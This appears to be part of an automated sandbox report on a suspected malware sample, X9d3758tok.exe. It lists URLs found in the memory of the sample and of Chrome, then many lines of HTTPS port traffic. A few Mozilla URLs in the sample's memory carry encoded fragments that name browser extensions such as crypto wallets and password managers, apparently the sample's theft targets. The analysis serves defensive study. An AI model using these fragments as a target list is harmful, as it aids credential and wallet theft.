Source: X9d3758tok.exe, 00000000.00000003.1843605420.0000000000915000.00000004.00000020.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775845655.0000283800BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1810015681.0000283800BD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1777560750.0000283800BD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1758591629.0000283800BD0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1752914189.0000283800BD4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1754420361.0000283800BD4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/images/branding/product/ico/googleg_lodp.ico
Source: chrome.exe, 00000001.00000003.1774695159.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775802111.000028380140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775633712.0000283801318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775593736.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/imghp?hl=en&tab=ri&ogbl
Source: chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775393933.0000283801368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/intl/en/about/products?tab=rh
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search
Source: chrome.exe, 00000001.00000003.1759039963.000028380114C000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.google.com/search?q=$
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/aida2
Source: chrome.exe, 00000001.00000003.1782602182.0000283801730000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782636943.0000283801734000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782266235.0000283801708000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782369039.0000283801710000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782671358.0000283801738000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782445291.0000283801714000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782486639.0000283801724000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782565210.000028380172C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782215490.0000283801704000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782321489.000028380170C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1782523474.0000283801728000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager
Source: chrome.exe, 00000001.00000003.1782602182.0000283801730000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager(8
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager2
Source: chrome.exe, 00000001.00000003.1777992648.0000283801474000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.googleapis.com/auth/shieldedids.manager23
Source: chrome.exe, 00000001.00000003.1775452705.0000283801348000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/1x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000001.00000003.1774695159.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775116078.00002838013D0000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775802111.000028380140C000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775633712.0000283801318000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775593736.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775452705.0000283801348000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/images/icons/material/system/2x/broken_image_grey600_18dp.png
Source: chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775393933.0000283801368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/js/k=og.qtm.en_US.JsvYdB1VlTQ.2019.O/rt=j/m=q_dnp
Source: chrome.exe, 00000001.00000003.1774395310.00002838012FC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775094949.00002838013B4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1774939493.00002838013A4000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013AC000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775393933.0000283801368000.00000004.00000800.00020000.00000000.sdmp, chrome.exe, 00000001.00000003.1775011249.00002838013C4000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.gstatic.com/og/_/ss/k=og.qtm.GZmhE2vV14w.L.W.O/m=qmd
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp, X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/about/
Source: X9d3758tok.exe, 00000000.00000003.1950900765.00000000212D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/about/gro.allizom.www.VsJpOAWrHqB2
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/
Source: X9d3758tok.exe, 00000000.00000003.1950900765.00000000212D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/contribute/gro.allizom.www.n0g9CLHwD9nR
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp, X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/
Source: X9d3758tok.exe, 00000000.00000003.1950900765.00000000212D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/Firefox
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/ZoZ2ZuaGJncGpkZW5qZ21kZ29laWFwcGFmbG58MXwwfDB8SmF4eCBM
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/en-US/privacy/firefox/lvYnwxfDB8MHxMYXN0UGFzc3xoZG9raWVqbnBpbWFrZWRoYWpoZGxj
Source: X9d3758tok.exe, 00000000.00000003.1950900765.00000000212D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/firefox/?utm_medium=firefox-desktop&utm_source=bookmarks-toolbar&utm_campaig
Source: X9d3758tok.exe, 00000000.00000002.2251316472.0000000000514000.00000040.00000001.01000000.00000003.sdmp, X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=us
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=usGF8aHBnbGZoZ2ZuaGJncGpk
Source: X9d3758tok.exe, 00000000.00000002.2251316472.00000000004E6000.00000040.00000001.01000000.00000003.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/d=enterpk2016&ui=en-us&rs=en-us&ad=usWFwa21ibGlvYnwxfDB8MHxM
Source: X9d3758tok.exe, 00000000.00000003.1950900765.00000000212D2000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: https://www.mozilla.org/privacy/firefox/gro.allizom.www.
Source: chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/:
Source: chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/?feature=ytca
Source: chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/J
Source: chrome.exe, 00000001.00000003.1747767892.0000283800660000.00000004.00000800.00020000.00000000.sdmp	String found in binary or memory: https://www.youtube.com/s/notifications/manifest/cr_install.html

Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49865
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49986
Source: unknown	Network traffic detected: HTTP traffic on port 49817 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49864
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49985
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49863
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49984
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49862
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49983
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49861
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49982
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49860
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49981
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49980
Source: unknown	Network traffic detected: HTTP traffic on port 49932 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49898 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49875 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49852 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49795 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49990 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49739
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49738
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49859
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49858
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49737
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49979
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49857
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49978
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49856
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49977
Source: unknown	Network traffic detected: HTTP traffic on port 49772 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49734
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49855
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49976
Source: unknown	Network traffic detected: HTTP traffic on port 49841 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49854
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49975
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49853
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49974
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49852
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49973
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49851
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49972
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49850
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49971
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49970
Source: unknown	Network traffic detected: HTTP traffic on port 49967 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49784 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50004 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49909 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49806 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49943 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49849
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49848
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49969
Source: unknown	Network traffic detected: HTTP traffic on port 49978 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49847
Source: unknown	Network traffic detected: HTTP traffic on port 49886 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49968
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49846
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49967
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49845
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49966
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49844
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49965
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49843
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49964
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49842
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49963
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49841
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49962
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49840
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49961
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49960
Source: unknown	Network traffic detected: HTTP traffic on port 50015 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49966 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49989 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49828 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49933 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50028 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49805 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49839
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49838
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49959
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49837
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49958
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49836
Source: unknown	Network traffic detected: HTTP traffic on port 49921 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49957
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49835
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49956
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49834
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49955
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49833
Source: unknown	Network traffic detected: HTTP traffic on port 49887 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49954
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49832
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49953
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49831
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49952
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49830
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49951
Source: unknown	Network traffic detected: HTTP traffic on port 49839 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49864 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49950
Source: unknown	Network traffic detected: HTTP traffic on port 49944 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49910 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49853 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49796 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49955 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49829
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49828
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49949
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49827
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49948
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49826
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49947
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49825
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49946
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49824
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49945
Source: unknown	Network traffic detected: HTTP traffic on port 49737 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49823
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49944
Source: unknown	Network traffic detected: HTTP traffic on port 49771 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49822
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49943
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49788
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49787
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49786
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49785
Source: unknown	Network traffic detected: HTTP traffic on port 49922 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49784
Source: unknown	Network traffic detected: HTTP traffic on port 49945 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49783
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49782
Source: unknown	Network traffic detected: HTTP traffic on port 50017 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49781
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49780
Source: unknown	Network traffic detected: HTTP traffic on port 49968 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49785 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50026 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49807 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49980 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49779
Source: unknown	Network traffic detected: HTTP traffic on port 49885 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49778
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49899
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49777
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49898
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49776
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49897
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49775
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49896
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49774
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49895
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49773
Source: unknown	Network traffic detected: HTTP traffic on port 49862 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49894
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49772
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49893
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49771
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49892
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49891
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49890
Source: unknown	Network traffic detected: HTTP traffic on port 49897 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49911 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49957 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49851 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49830 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49991 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49769
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49768
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49889
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49767
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49888
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49766
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49887
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49765
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49886
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49764
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49885
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49763
Source: unknown	Network traffic detected: HTTP traffic on port 49863 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49884
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49883
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49761
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49882
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49881
Source: unknown	Network traffic detected: HTTP traffic on port 49840 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49880
Source: unknown	Network traffic detected: HTTP traffic on port 49896 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49797 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49956 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50005 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49979 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49879
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49878
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49999
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49877
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49998
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49876
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49997
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49875
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49996
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49753
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49874
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49995
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49873
Source: unknown	Network traffic detected: HTTP traffic on port 49923 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49994
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49751
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49872
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49993
Source: unknown	Network traffic detected: HTTP traffic on port 50016 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49871
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49992
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49870
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49991
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49990
Source: unknown	Network traffic detected: HTTP traffic on port 49786 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49874 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49829 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49934 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50027 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49869
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49868
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49989
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49867
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49988
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49866
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49987
Source: unknown	Network traffic detected: HTTP traffic on port 50013 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49769 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49803 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49826 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49906 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49849 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49900 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49837 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49975 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49929 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49872 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50025 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49964 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49798 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49861 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49999 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49918 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49873 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49787 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49930 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50001 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49986 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49850 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49963 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49799
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50007
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49798
Source: unknown	Network traffic detected: HTTP traffic on port 49734 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50006
Source: unknown	Network traffic detected: HTTP traffic on port 50012 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49797
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50009
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49796
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50008
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49795
Source: unknown	Network traffic detected: HTTP traffic on port 49952 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49794
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49793
Source: unknown	Network traffic detected: HTTP traffic on port 49814 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49792
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49791
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49790
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50001
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50000
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50003
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50002
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50005
Source: unknown	Network traffic detected: HTTP traffic on port 49895 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 50004
Source: unknown	Network traffic detected: HTTP traffic on port 49768 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49825 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49884 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49907 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49941 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 443 -> 49789
Source: unknown	Network traffic detected: HTTP traffic on port 49997 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49779 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49859 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49871 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 49894 -> 443
Source: unknown	Network traffic detected: HTTP traffic on port 50003 -> 443
